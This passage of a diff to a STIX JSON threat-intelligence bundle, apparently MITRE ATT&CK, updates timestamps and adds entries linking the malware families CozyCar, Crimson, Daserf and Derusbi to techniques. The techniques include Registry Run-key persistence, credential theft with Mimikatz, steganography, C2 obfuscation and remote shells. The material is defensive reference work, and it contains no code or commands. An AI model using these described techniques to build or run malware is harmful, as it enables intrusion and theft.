             "description": "One persistence mechanism used by CozyCar is to set itself to be executed at system startup by adding a Registry value under one of the following Registry keys: <br><code>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\</code> <br><code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\</code> <br><code>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code> <br><code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
@@ -38374,7 +44933,7 @@
             "id": "relationship--cb0ebed2-4cac-437b-b5b2-37ee716af3f0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "One persistence mechanism used by CozyCar is to register itself as a Windows service.",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
@@ -38395,7 +44954,7 @@
             "id": "relationship--ae38c68d-cc08-4460-9d98-ddf957f837e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "One persistence mechanism used by CozyCar is to register itself as a scheduled task.",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
@@ -38416,7 +44975,7 @@
             "id": "relationship--22301618-a676-4d94-975a-2a56e5a7f919",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CozyCar's main method of communicating with its C2 servers is using HTTP or HTTPS.",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
@@ -38437,7 +44996,7 @@
             "id": "relationship--233d1a32-f826-4705-a535-806edee8a5aa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CozyCar uses Twitter as a backup C2 channel to Twitter accounts specified in its configuration file.",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
@@ -38458,7 +45017,7 @@
             "id": "relationship--04e4f0d1-32a9-4d64-a733-3316b0bf2740",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A module in CozyCar allows arbitrary commands to be executed by invoking <code>C:\\Windows\\System32\\cmd.exe</code>.",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
@@ -38479,7 +45038,7 @@
             "id": "relationship--932fa199-f4c0-4c39-bb30-a412607ee299",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Password stealer and NTLM stealer modules in CozyCar harvest stored credentials from the victim, including credentials used as part of Windows NTLM user authentication. CozyCar has also executed Mimikatz for further victim penetration.",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
@@ -38500,7 +45059,7 @@
             "id": "relationship--166c430d-0272-4dca-8d30-318cda0a0a63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A system info module in CozyCar gathers information on the victim host\u2019s configuration.",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
@@ -38516,12 +45075,33 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--a4a49b56-e220-4a81-a0da-43b63c012cfe",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "The CozyCar dropper has masqueraded a copy of the infected system's rundll32.exe executable that was moved to the malware's install directory and renamed according to a predefined configuration file.",
+            "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
+            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "F-Secure CozyDuke",
+                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
+                    "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--d6c628b9-789a-416b-8abe-cd457e566346",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson uses a custom TCP protocol for C2.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
@@ -38542,7 +45122,7 @@
             "id": "relationship--0d8aa058-426a-45c9-af5b-898746ae5862",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains commands to list files and directories, as well as search for files matching certain extensions from a defined list.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
@@ -38563,7 +45143,7 @@
             "id": "relationship--717d87d5-df97-48a9-8766-c9a947541e1d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains a command to perform screen captures.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
@@ -38584,7 +45164,7 @@
             "id": "relationship--a0186caf-482a-4f2a-bf2f-cac9fc51244a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains a command to retrieve files from its C2 server.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
@@ -38605,7 +45185,7 @@
             "id": "relationship--892ff1d1-3da9-489e-89c3-374ab07a417b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains a command to collect and exfiltrate emails from Outlook.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
@@ -38626,7 +45206,7 @@
             "id": "relationship--4caf9f0d-dfe9-48ce-9b6e-812577e09711",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains a command to collect the victim PC name and operating system.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
@@ -38647,7 +45227,7 @@
             "id": "relationship--92711ee1-041b-4e35-a322-3e16790fcce2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains a command to collect the victim MAC address and LAN IP.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
@@ -38668,7 +45248,7 @@
             "id": "relationship--198d7156-eff4-4a6e-8e59-ab8a656f77a8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains a command to collect information about anti-virus software on the victim.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
@@ -38689,7 +45269,7 @@
             "id": "relationship--84f40044-00a2-4015-be0d-1bb0107ef42b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains a command to list processes.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
@@ -38710,7 +45290,7 @@
             "id": "relationship--ed74954d-4717-4d63-9836-4cbd66c37345",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains a module to steal credentials from Web browsers on the victim machine.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
@@ -38731,7 +45311,7 @@
             "id": "relationship--9ab576ed-2ba0-4fc5-87fc-2011a7cd183d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains a module to collect data from removable drives.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
@@ -38747,12 +45327,263 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--e79c65f4-f9d2-4568-96a4-b6e00d3bad71",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Analysis of Daserf has shown that it regularly undergoes technical improvements to evade anti-virus detection.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--92b34cc0-b059-4294-824f-bb92298f3ae6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Daserf uses encrypted Windows APIs and also encrypts data using the alternative base64+RC4 or the Caesar cipher.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--2f507d82-1df4-4c9c-804a-2e6060944142",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "A version of Daserf uses the MPRESS packer.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--a566127b-1d88-4b38-84dd-4686e2837399",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Daserf can use steganography to hide malicious code downloaded to the victim.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--03c08ef9-80c7-4f20-b197-ad44f702f2e0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Daserf can execute shell commands.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                },
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--24503815-4ac5-4d57-9e95-ebeb84e0c11b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Daserf can download remote files.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                },
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--6db82410-1fcf-483a-be5b-cf09c361b4eb",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Daserf can take screenshots.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                },
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--d2bc1c1b-987b-4a1a-b488-8199f8113697",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Daserf can log keystrokes.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                },
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--ce9dbe5b-1b16-41d6-a7af-a2a1b33c4552",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Daserf uses RC4 encryption to obfuscate HTTP traffic.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--4abcf209-1dab-435b-a347-b8ff318ac5d8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Daserf uses custom base64 encoding to obfuscate HTTP traffic.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--d6204645-83ff-4b26-a011-9b58bab2d597",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Daserf uses HTTP for C2.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--60137eb6-ed8c-41ce-bf75-6b45cdafe751",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Derusbi malware supports timestomping.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
@@ -38778,7 +45609,7 @@
             "id": "relationship--b9fe8dd4-a3c9-4e58-9a74-937e4de677a8",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi is capable of obtaining a directory listing.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
@@ -38799,7 +45630,7 @@
             "id": "relationship--a2faf818-d21d-40a5-ad02-a3b1b2ee5d58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi is capable of deleting files. It has been observed loading a Linux Kernel Module (LKM) and then deleting it from the hard disk as well as overwriting the data with null bytes.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
@@ -38820,7 +45651,7 @@
             "id": "relationship--3268cdc0-7cee-4fe5-92cc-2c3cdc06712b",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi is capable of creating a remote Bash shell and executing commands.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
@@ -38841,7 +45672,7 @@
             "id": "relationship--bd315928-0b74-491c-b526-ee5e1841842b",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi beacons to destination port 443.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
@@ -38862,7 +45693,7 @@
             "id": "relationship--bd74b90d-ff9f-4ce3-96af-9b809fffc3da",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi uses a backup communication method with an HTTP beacon.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
@@ -38883,7 +45714,7 @@
             "id": "relationship--a7cb0193-e854-4361-b1a1-fc4e68354c59",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi obfuscates C2 traffic with variable 4-byte XOR keys.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
@@ -38904,7 +45735,7 @@
             "id": "relationship--f017f6c0-96f4-46f1-905f-44e9950effbc",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi collects current and parent process IDs.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
@@ -38925,7 +45756,7 @@
             "id": "relationship--af66e48f-3232-4f78-ad3e-5a404f7ae3a1",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Linux version of Derusbi checks if the victim user ID is anything other than zero (normally used for root), and the malware will not execute if it does not have root privileges.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
@@ -38946,7 +45777,7 @@
             "id": "relationship--5d2ca571-9e66-4949-b3a1-978c47398b18",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi gathers the name of the local host, version of GNU Compiler Collection (GCC), and the system information about the machine and operating system.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
@@ -38967,7 +45798,7 @@
             "id": "relationship--c52eb151-c8c5-45f1-984b-d99a12ca05cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi binds to a raw socket on a random source port between 31800 and 31900 for C2.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
@@ -38988,7 +45819,7 @@
             "id": "relationship--4f3473a4-f5f5-43d8-a4ec-589763695942",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi variants have been seen that use Registry persistence to proxy execution through regsvr32.exe.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
@@ -39004,12 +45835,180 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--7fd4fe68-0f2a-485c-9b10-6847428ef5da",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Derusbi injects itself into the secure shell (SSH) process.",
+            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
+            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
+            "object_marking_refs": [
